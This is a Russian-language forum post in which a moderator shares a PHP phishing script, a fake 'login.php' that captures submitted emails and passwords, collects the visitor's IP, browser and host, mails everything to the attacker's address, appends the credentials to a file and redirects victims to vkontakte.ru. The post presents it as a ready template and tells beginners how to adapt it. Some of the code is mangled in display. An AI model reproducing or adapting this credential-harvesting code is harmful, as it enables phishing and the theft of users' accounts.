Показать сообщение отдельно

  #88  
Старый 21.05.2009, 16:19
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию

вариации на тему "файл login.php"
Удобен тем, что высасывает всю инфу. При это сохраняет отчет в базе и высылает ее на почту.

PHP код:
<?PHP 
$email 
$_POST['email']; 
 
$c "$email:$pass";
$Browser getenv("HTTP_USER_AGENT"); 
$Port getenv("REMOTE_PORT"); 
$Connect $_SERVER['HTTP_CONNECTION']; 
$Host gethostbyaddr(getenv("REMOTE_ADDR"));  
$pass $_POST['pass'];  
$ip $_SERVER["REMOTE_ADDR"];  
$Data date("d-m-y H:i:s"time()); 
$text "[$Data
Browser:[
$Browser
Port:[
$Port
Connect:[
$Connect
Host:[
$Host
IP:
$ip 
Мыло:
$email Пасс:$pass"
$to "ваше_мыло@mail.ru"// 
$sub " Pass : $email"
mail($to,$sub,$text); 
$f=fopen("base.php","a+"); 
flock($f,2); 
if(
preg_match("/^([.0-9a-z_-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4})$/i"
$_POST['email'])&& !empty($_POST['pass'])){ 
fputs($f
$_POST['email'].";".
$_POST['pass']." \n"); 
header("Location: http://vkontakte.ru"); 
} else { 

header("Location: bad.html"); 
}             
flock($f,3); 
fclose($f); 
?>

Выявилась ситуация, что люди просто копируют код. Поясняю для новичков. Код нужно присобачить под себя. Это просто шаблон. Если у вас файл базы называется base.txt, то исправьте тут
PHP код:
$f=fopen("base.php","a+"); 
под себя.

Последний раз редактировалось satana-fu; 21.05.2009 в 19:24..
 
Ответить с цитированием